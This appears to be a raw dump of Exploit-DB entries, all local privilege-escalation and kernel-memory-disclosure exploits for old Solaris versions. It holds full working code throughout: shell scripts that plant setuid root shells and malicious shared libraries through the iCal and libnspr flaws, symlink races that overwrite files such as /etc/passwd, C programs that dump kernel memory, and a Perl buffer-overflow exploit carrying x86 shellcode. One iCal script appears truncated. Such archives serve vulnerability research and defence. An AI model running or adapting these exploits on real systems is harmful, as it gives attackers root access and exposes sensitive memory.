deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20275
Description: Netscape iCal 2.1 Patch2 - iPlanet iCal 'iplncal.sh' Permissions
Type: local
Platform: solaris
Date: 2000-10-10
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/1768/info

Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.

During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.

Proof of Concept Tools:

There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.

[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]


[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell. 
#
# -sili@atstake.com
#

INSTDIR=`cat /etc/iplncal.conf`

#######
#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE

#####
#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]


For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
Exploit-DB #34313
Description: Oracle Solaris - 'nfslogd' Insecure Temporary File Creation
Type: local
Platform: solaris
Date: 2010-07-13
Author: Frank Stuart

Exploit:
source: https://www.securityfocus.com/bid/41637/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris 

nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw-------   1 root     root           4 Dec 29 21:25 /etc/oops
Exploit-DB #34311
Description: Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation
Type: local
Platform: solaris
Date: 2010-07-12
Author: Frank Stuart

Exploit:
source: https://www.securityfocus.com/bid/41619/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

Oracle Solaris 8, 9 and 10 are vulnerable. 


   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done

Later, when root creates a flash archive with:

   # flar create -n junk `pwd`/junk.flar
Exploit-DB #34314
Description: Oracle Solaris Management Console - WBEM Insecure Temporary File Creation
Type: local
Platform: solaris
Date: 2010-07-13
Author: Frank Stuart

Exploit:
source: https://www.securityfocus.com/bid/41642/info

The 'Solaris Management Console' sub component of Oracle Solaris creates temporary files in an insecure manner.

An attacker with local access can exploit this issue to overwrite arbitrary files. This may result in denial-of-service conditions or could aid in other attacks.

Solaris 9 and 10 are affected.

   $ id
   uid=101(fstuart) gid=14(sysadmin)
   $ cd /tmp
   $ x=0
   $ while [ "$x" -ne 30000 ] ;do
   > ln -s /etc/important /tmp/dummy.$x
   > x=$(expr "$x" + 1)
   > done
   $ ls -dl /etc/important
   -rw-r--r--   1 root     root          38 Jan  3 22:43 /etc/important
   $ cat /etc/important
      This is an important file!

      EOF
Exploit-DB #4516
Description: Solaris (SPARC/x86) - fifofs I_PEEK Kernel Memory Disclosure
Type: local
Platform: solaris
Date: 2007-10-10
Author: qaaz

Exploit:
/* 10/2007: public release
 * SPARC
 *   Solaris  8 without 109454-06
 *   Solaris  9 without 117471-04
 *   Solaris 10 without 127737-01
 * x86
 *   Solaris  8 without 109455-06
 *   Solaris  9 without 117472-04
 *   Solaris 10 without 127738-01
 *
 * Solaris fifofs I_PEEK Kernel Memory Disclosure
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT	1000

int	main(int argc, char *argv[])
{
	struct strpeek	strpeek;
	char		*buf, *end;
	int		pg = PAGE_COUNT, fd, pagesz, bufsz;

	fprintf(stderr,
		"---------------------------------------\n"
		" Solaris fifofs I_PEEK Kmem Disclosure\n"
		" By qaaz\n"
		"---------------------------------------\n");

	if (argc > 1) pg = atoi(argv[1]);

	pagesz = getpagesize();

	if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
		perror("mknod");
		return -1;
	}

	switch (fork()) {
	case -1:
		perror("fork");
		goto cleanup;
	case  0:
		if ((fd = open("fifo", O_WRONLY)) < 0) {
			perror("open");
			exit(0);
		}
		write(fd, "abcd", 4);
		exit(0);
		break;
	default:
		if ((fd = open("fifo", O_RDONLY)) < 0) {
			perror("open");
			goto cleanup;
		}
		break;
	}

	bufsz = (pg + 1) * pagesz;
	if (!(buf = memalign(pagesz, bufsz))) {
		perror("malloc");
		goto cleanup;
	}
	
	memset(buf, 0, bufsz);
	end = buf + (pg * pagesz);
	
	fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
	fflush(stderr);

	if (mprotect(end, pagesz, PROT_NONE) < 0) {
		perror("mprotect");
		goto cleanup;
	}

	memset(&strpeek, 0, sizeof(strpeek));
	strpeek.databuf.buf = buf;
	strpeek.databuf.maxlen = -1;
	if (ioctl(fd, I_PEEK, &strpeek) < 0) {
		perror("ioctl");
		goto cleanup;
	}

	while (end > buf && end[-1] == 0)
		end--;
	fprintf(stderr, "== %d\n", (int) (end - buf));
	fflush(stderr);

	if (!isatty(1))
		write(1, buf, (size_t) (end - buf));

cleanup:
	unlink("fifo");
	return 0;
}

// milw0rm.com [2007-10-10]
Exploit-DB #4515
Description: Solaris 10 (SPARC/x86) - sysinfo Kernel Memory Disclosure
Type: local
Platform: solaris
Date: 2007-09-01
Author: qaaz

Exploit:
/* 07/2006: public release
 * SPARC Solaris 10 without 118833-09
 * x86   Solaris 10 without 118855-06
 *
 * Solaris sysinfo Kernel Memory Disclosure
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/systeminfo.h>

#define PAGE_COUNT	1000

int	main(int argc, char *argv[])
{
	char	*buf, *end;
	int	pg = PAGE_COUNT, pagesz, bufsz;

	fprintf(stderr,
		"---------------------------------\n"
		" Solaris sysinfo Kmem Disclosure\n"
		" By qaaz\n"
		"---------------------------------\n");

	if (argc > 1) pg = atoi(argv[1]);

	pagesz = getpagesize();

	bufsz = (pg + 1) * pagesz;
	if (!(buf = memalign(pagesz, bufsz))) {
		perror("malloc");
		return -1;
	}

	memset(buf, 0, bufsz);
	end = buf + (pg * pagesz);

	fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
	fflush(stderr);

	if (mprotect(end, pagesz, PROT_NONE)) {
		perror("mprotect");
		return -1;
	}

	sysinfo(SI_SYSNAME, buf, 0);

	while (end > buf && end[-1] == 0)
		end--;
	fprintf(stderr, "== %d\n", (int) (end - buf));
	fflush(stderr);

	if (!isatty(1))
		write(1, buf, (size_t) (end - buf));
	return 0;
}

// milw0rm.com [2007-09-01]
Exploit-DB #1248
Description: Solaris 10 (x86) - DtPrintinfo/Session Privilege Escalation
Type: local
Platform: solaris
Date: 2005-10-12
Author: Charles Stevenson

Exploit:
#!/usr/bin/perl 
#######################################################################
#
# Solaris 10 DtPrintinfo/Session Exploit (x86)
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# greetz to raptor for sharing this vulnerability and in no specific
# order just want to show love for: nemo, andrewg, jduck, bannedit,
# runixd, charbuff, sloth, ktha, KF, akt0r, MRX, salvia, etc.
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
# 
# 10/12/05 - FF local root
#
#######################################################################
#               PRIVATE - DO NOT DISTRIBUTE - PRIVATE                 #
#######################################################################

#You can try lots of dt* suids.  I'm too lazy to code the loop ;-o
$dtsuid = "dtprintinfo";
#$dtsuid = "dtsession";

$sc = "\x90" x (511-108) .

# anathema <anathema@hack.co.za>
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04".
"\xc3\xeb\x05\xe8\xf9\xff\xff\xff\x5e".
"\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50".
"\xb0\x8d\xe8\xe0\xff\xff\xff\x29\xc0".
"\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb".
"\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0".
"\x88\x46\x19\x89\x46\x14\x89\x46\x0f".
"\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51".
"\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff".
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01".
"\x01\x01\x01\x02\x02\x02\x02\x03\x03".
"\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

print "\n\n$dtsuid root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <core\@bokeoa.com>\n\n";

# Clear out the environment. 
foreach $key (keys %ENV) { delete $ENV{$key}; } 

# Setup simple env so ret is easier to guess
$ENV{"HELLCODE"} = "$sc"; 
$ENV{"TERM"} = "xterm"; 
$ENV{"DISPLAY"} = "127.0.0.1:0";
$ENV{"PATH"} = "/usr/dt/bin:/bin:/sbin:/usr/sbin:/usr/bin";

# Create the payload...
#$ENV{"DTDATABASESEARCHPATH"} = "////" . "ABCD"x360; # raptor
$ENV{"DTDATABASESEARCHPATH"} = "////" . pack("l",0x8047890)x360;


# If you don't get root try other dt setuid binaries
print "Trying to own $dtsuid...\n";
system("/usr/dt/bin/$dtsuid"); 

# EOF

# milw0rm.com [2005-10-12]
Exploit-DB #2067
Description: Solaris 10 - 'sysinfo()' Local Kernel Memory Disclosure (1)
Type: local
Platform: solaris
Date: 2006-07-24
Author: prdelka

Exploit:
/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from a
 * non-privileged userspace process. The vulnerability specifically exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote[PII_REDACTED] bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
 *
 * -prdelka
 */
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define bufsize[PII_REDACTED]

int main(int argc,char* argv[]){
        int fd;
 	ssize_t out;
        char* output_buffer;
	if(argc < 2){
		printf("[ Use with <filepath>\n");
		exit(1);
	}
        printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
	output_buffer = malloc(bufsize);
        memset(output_buffer,0,bufsize);
        sysinfo(SI_SYSNAME,output_buffer,0);
        fd = open(argv[1],O_RDWR|O_CREAT,0700);
	if(fd!=-1){
	        out = write(fd,output_buffer,bufsize);
		printf("[ Wrote %u bytes to %s\n",out,argv[1]);
	        close(fd);
	}
        exit(0);
}

// milw0rm.com [2006-07-24]
Exploit-DB #2641
Description: Solaris 10 libnspr - 'Constructor' Arbitrary File Creation Privilege Escalation (3)
Type: local
Platform: solaris
Date: 2006-10-24
Author: Marco Ivaldi

Exploit:
#!/bin/sh

#
# $Id: raptor_libnspr3,v 1.1 2006/10/24 15:54:57 raptor Exp $
#
# raptor_libnspr3 - Solaris 10 libnspr constructor exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of 
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to 
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Yet another newschool version of the local root exploit: this time we place
# our code in the global constructor (ctors) for the library, as suggested by
# gera. This way, we don't have to hide a real function and we have a generic
# library that can be used in all exploits like this. To avoid annoying side-
# effects, i use trusted directories and LD_LIBRARY_PATH instead of replacing
# a library in the default search path.
#
# See also:
# http://www.0xdeadbeef.info/exploits/raptor_libnspr
# http://www.0xdeadbeef.info/exploits/raptor_libnspr2
#
# Usage:
# $ chmod +x raptor_libnspr3
# $ ./raptor_libnspr3
# [...]
# Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
# # id
# uid=0(root) gid=1(other)
# # rm /usr/lib/secure/libldap.so.5
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr3 - Solaris 10 libnspr constructor exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/libldap.so.5
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/sbin/lpmove
#/usr/bin/su
#/usr/bin/mailq

# prepare the evil shared library
echo "void __attribute__ ((constructor)) cons() {"     > /tmp/ctors.c
echo "        setuid(0);"                             >> /tmp/ctors.c
echo "        execle(\"/bin/ksh\", \"ksh\", 0, 0);"   >> /tmp/ctors.c
echo "}"                                              >> /tmp/ctors.c
gcc -fPIC -g -O2 -shared -o /usr/lib/secure/libldap.so.5 /tmp/ctors.c -lc
if [ $? -ne 0 ]; then
	echo "problems compiling evil shared library, check your gcc"
	exit 1
fi

# newschool LD_LIBRARY_PATH foo;)
unset NSPR_LOG_MODULES NSPR_LOG_FILE
LD_LIBRARY_PATH=/usr/lib/secure su -

# milw0rm.com [2006-10-24]
Exploit-DB #2543
Description: Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1)
Type: local
Platform: solaris
Date: 2006-10-13
Author: Marco Ivaldi

Exploit:
#!/bin/sh

#
# $Id: raptor_libnspr,v 1.1 2006/10/13 19:12:12 raptor Exp $
#
# raptor_libnspr - Solaris 10 libnspr oldschool local root
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Usage:
# $ chmod +x raptor_libnspr
# $ ./raptor_libnspr
# [...]
# # id
# uid=0(root) gid=0(root)
# # 
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
# 
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr - Solaris 10 libnspr oldschool local root"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/.rhosts
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme rw-rw-rw!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq

# oldschool rhosts foo;)
echo "+ +" > $NSPR_LOG_FILE
rsh -l root localhost sh -i

# milw0rm.com [2006-10-13]
Exploit-DB #2569
Description: Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2)
Type: local
Platform: solaris
Date: 2006-10-16
Author: Marco Ivaldi

Exploit:
#!/bin/sh

#
# $Id: raptor_libnspr2,v 1.4 2006/10/16 11:50:48 raptor Exp $
#
# raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Newschool version of local root exploit via LD_PRELOAD (hi KF!). Another
# possible (but less l33t;) attack vector is /var/spool/cron/atjobs.
#
# See also: http://www.0xdeadbeef.info/exploits/raptor_libnspr
#
# Usage:
# $ chmod +x raptor_libnspr2
# $ ./raptor_libnspr2
# [...]
# Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
# # id
# uid=0(root) gid=0(root)
# # rm /usr/lib/secure/getuid.so
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/getuid.so
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq

# prepare the evil shared library
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /usr/lib/secure/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
	echo "problems compiling evil shared library, check your gcc"
	exit 1
fi

# newschool LD_PRELOAD foo;)
unset NSPR_LOG_MODULES NSPR_LOG_FILE
LD_PRELOAD=/usr/lib/secure/getuid.so su -

# milw0rm.com [2006-10-16]
Exploit-DB #20418
Description: Solaris 10 Patch 137097-01 - Symlink Privilege Escalation
Type: local
Platform: solaris
Date: 2012-08-11
Author: Larry Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/54919/info

Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability. 

Local attackers can exploit this issue to gain elevated privileges on affected computers.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}
Exploit-DB #2241
Description: Solaris 10 sysinfo(2) - Local Kernel Memory Disclosure (2)
Type: local
Platform: solaris
Date: 2006-08-22
Author: Marco Ivaldi

Exploit:
/*
 * $Id: raptor_sysinfo.c,v 1.2 2006/08/22 13:47:54 raptor Exp $
 *
 * raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * systeminfo.c for Sun Solaris allows local users to read kernel memory via 
 * a 0 variable count argument to the sysinfo system call, which causes a -1 
 * argument to be used by the copyout function. NOTE: this issue has been 
 * referred to as an integer overflow, but it is probably more like a 
 * signedness error or integer underflow (CVE-2006-3824).
 *
 * http://en.wikipedia.org/wiki/Pitagora_Suicchi
 *
 * Greets to prdelka, who also exploited this vulnerability.
 *
 * I should also definitely investigate the old sysinfo(2) vulnerability 
 * described in CVE-2003-1062, affecting Solaris/SPARC 2.6 through 9 and 
 * Solaris/x86 2.6 through 8... It may come in handy sooner or later;)
 *
 * Usage:
 * $ gcc raptor_sysinfo.c -o raptor_sysinfo -Wall
 * $ ./raptor_sysinfo kerndump 666666
 * [...]
 * $ ls -l kerndump 
 * -rwx------   1 raptor   other     666666 Aug 22 14:41 kerndump
 *
 * Vulnerable platforms (SPARC):
 * Solaris 10 without patch 118833-09 [tested]
 *
 * Vulnerable platforms (x86):
 * Solaris 10 without patch 118855-06 [untested]
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define	INFO1	"raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak"
#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BUFSIZE 536870911

int 	errno;

int main(int argc, char **argv)
{
	int 	fd;
	size_t	out, bufsize = BUFSIZE;
	char	*buf;

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc < 2) {
		fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
		exit(1);
	}
	if (argc > 2)
		if ((bufsize = atoi(argv[2])) == 0) {
			fprintf(stderr, "Error (atoi): invalid outsize\n");
			exit(1);
		}

	/* print some output */
	fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
	fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

	/* prepare the output buffer */
	if ((buf = (char *)malloc(bufsize)) == NULL) {
		perror("Error (malloc)");
		fprintf(stderr, "Hint: Try again with a smaller output size\n");
		exit(1);
	}
	memset(buf, 0, bufsize);

	/* Pitagora Suicchi! */
	sysinfo(SI_SYSNAME, buf, 0);

	/* save output to outfile */
	if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
		perror("Error (open)");
		free(buf);
		exit(1);
	}
	out = write(fd, buf, bufsize);
	fprintf(stderr, "Pitagora Suicchi! %u bytes written to %s\n", out, argv[1]);
	fprintf(stderr, "Hint: Try also with a bigger output size\n");

	close(fd);
	free(buf);

	exit(0);
}

// milw0rm.com [2006-08-22]